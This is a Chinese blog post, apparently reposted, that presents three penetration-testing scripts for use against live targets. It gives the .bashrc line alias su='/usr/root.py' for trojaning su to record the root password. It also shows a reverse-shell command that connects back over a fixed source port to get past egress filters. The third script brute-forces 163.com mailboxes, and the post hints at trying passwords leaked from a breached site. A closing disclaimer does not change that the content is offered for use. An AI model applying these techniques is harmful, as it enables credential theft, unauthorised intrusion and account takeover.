网站渗透常用到的Python小脚本

0×00
渗透的很多时候,找到的工具并不适用,自己码代码才是王道,下面三个程序都是渗透时在网络上找不到合适工具,自己辛苦开发的,短小使用,求欣赏,求好评。

0×01
记录root密码小工具

root.py

渗透linux拿到低权限并提权无果时,将这个程序传上去,再将一个低权限用户目录下的.bashrc添加一句alias su=’/usr/root.py’; 低权限用户su root 后 成功记录密码。密码记录路径请看脚本

0×02

设置源端口反弹shell
渗透某个linux服务器,反连时目标端口为888不行,53,80还是不行,
Ping了下百度 可以ping通,
那真相只有一个:服务器变态的限制了只能某些提供已某些端口为源端口去连接外面

比如:
只允许接收对80端口的访问数据包,并以80为源端口向外回复数据。
谷歌程序无果,自己查了相关api后写了个。
client-port.c

用法:

如 ./port  http://www.exehack.net  80  80
成功反弹shell 提权成功

0×03 邮箱爆破脚本
某个时候 需要爆破一批邮箱
Burp163.pl

用法:将要爆破的邮箱的pop服务器写入下面这一行 默认是163邮箱

再将去除掉@后面部分的邮箱地址比如exehack@163.com 去除后exehack存进去
同目录user.txt中吗,再将字典存进去pass.txt
你可能会说:这个有点鸡肋吧 万一邮箱的密码很复杂

搞到了一个小站的数据,
用这个程序批量测试密码是否就是邮箱密码 呵呵,我啥都没说。

0×04
这三个程序仅供技术研究,如读者用于违法行为,本人概不负责。

本文来源91ri.org 略有删减!

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: